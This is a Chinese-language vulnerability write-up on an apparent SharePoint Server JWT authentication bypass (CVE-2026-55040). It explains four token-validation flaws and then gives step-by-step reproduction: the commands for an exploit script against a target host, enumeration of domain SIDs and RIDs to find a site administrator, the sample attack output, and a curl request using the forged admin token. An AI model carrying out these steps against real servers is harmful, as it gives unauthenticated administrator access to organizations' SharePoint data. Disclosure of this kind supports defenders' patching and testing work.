漏洞简介
CVE-2026-55040。该漏洞存在于 Microsoft SharePoint Server 的 JWT(JSON Web Token)令牌验证管道中,核心问题是攻击者可以完全绕过身份验证机制,伪造令牌并冒充任意 SharePoint 站点用户,包括站点管理员。与传统的需要提权、SQL注入或XSS的利用链不同,CVE-2026-55040是一个零凭证、零交互、纯远程的攻击向量。攻击者无需任何合法账户,无需知道任何密码,仅需目标 SharePoint 可被网络访问,即可通过构造一个伪造的 JWT 令牌直接获取管理员权限。
影响范围
特别注意:本漏洞仅影响本地部署版 SharePoint Server,不影响 Microsoft 365(云端版)。但面向互联网暴露的本地 SharePoint 服务器是最高优先级风险资产。
漏洞原理
CVE-2026-55040 的根源在于 SharePoint 的 JWT 令牌验证管道(
SPJsonWebSecurityTokenHandlerV2及SPJsonWebSecurityBaseTokenHandlerV2类)中存在四个独立的逻辑缺陷。单独看每个缺陷都只是"小瑕疵",但串联起来就形成了一条完整的认证绕过链路。
缺陷一:接受 alg:none 令牌
当 SharePoint 处理外层 Bearer 令牌时,未对 JWT Header 中的 alg 字段进行严格校验。攻击者可以将外层令牌的 alg 设为 "none",从而完全移除对有效签名的需求。
// 外层 JWT Header - 攻击者可控
{
"alg": "none",
"typ": "JWT"
}缺陷二:证书指纹(x5t)可被外部获取
攻击者伪造的 Actor 令牌中,x5t 头部指向 SharePoint 自身的 STS(Security Token Service)签名证书的 SHA-1 指纹。讽刺的是,这枚证书的详细信息存储在未经身份验证的元数据端点:
/_layouts/15/metadata/json/1任何人无需认证即可获取此端点,提取其中的 x5t 值并用于伪造令牌。
缺陷三:颁发者(Issuer)验证存在盲区
当系统检查令牌的颁发者时,由于该证书不在特定的受信任列表(TrustedSecurityTokenServices)中,理论上应拒绝此令牌。但验证逻辑中存在缺陷——它没有正确处理这种情况,反而"放行"了令牌。这种"不在黑名单就默认可信"的逻辑成为攻击者的跳板。
缺陷四:签名验证形同虚设
最后一道防线:Actor 令牌的签名字段只需要一个"非空字符串"即可通过验证。验证代码根本不检查这个字符串是否有效,只是判断其不为空。
签名部分 = "AAAA" // 任意非空值即可通过漏洞复现
准备环境
复现步骤
````
步骤 1:安装依赖
安装 Python 3.x 和 curl,SID 模式需要 impacket:
```bash
pip install impacket
```
````
````
步骤 2:基础利用(AccessToken 模式)
仅指定 --host 参数,模拟 NT AUTHORITY\LOCAL SERVICE 身份:
```bash
python3 CVE-2026-55040.py --host sharepoint.target.com
```
此模式可验证漏洞存在,但权限有限,无法访问部分端点(如 `/_api/contextinfo`)。
````
````
步骤 3:完整利用(SID 自动扫描模式)
通过 SMB/LSARPC 自动发现域名 SID,并迭代寻找站点管理员:
```bash
python3 CVE-2026-55040.py --host sharepoint.target.com --domain-ip 192.168.1.10
```
脚本自动执行:
1. 从 STS 元数据端点 `/_layouts/15/metadata/json/1` 发现 x5t 和 realm
2. 通过 SMB/LSARPC 发现域名 SID
3. 迭代 RID(500 优先,然后 1000-10000)寻找站点管理员
4. 伪造管理员身份的 JWT 令牌
5. 获取 Form Digest 令牌
输出示例:
```
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] Discovering domain SID via SMB (192.168.1.10)...
[*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
[+] Iterating RIDs to find site admin (500, then 1000-10000)...
[-] RID 500: no valid user
[+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
[+] Found site admin at RID 1605, stopping scan
[+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
[+] Login: SHAREPOINT\system
[2] Forging JWT token...
[+] Token forged (1040 bytes)
[3] Obtaining form digest...
[+] Digest obtained.
```
````
````
步骤 4:UPN 指定模式
已知目标用户 UPN 时,可直接指定:
```bash
python3 CVE-2026-55040.py --host sharepoint.target.com --upn [email protected]
```
或自动从 HTTPS 证书推导 UPN(无需 SMB):
```bash
python3 CVE-2026-55040.py --host sharepoint.target.com --auto-upn
```
````
````
步骤 5:验证结果
以管理员身份访问 SharePoint API 端点:
```bash
curl -k https://sharepoint.target.com/_api/web/currentuser \
-H "Authorization: Bearer [forged_token]" \
-H "Accept: application/json;odata=verbose"
```
成功输出示例:
```json
{
"d": {
"LoginName": "SHAREPOINT\\system",
"Title": "System Account",
"IsSiteAdmin": true,
"Sid": "S-1-5-21-...-1605"
}
}
```
````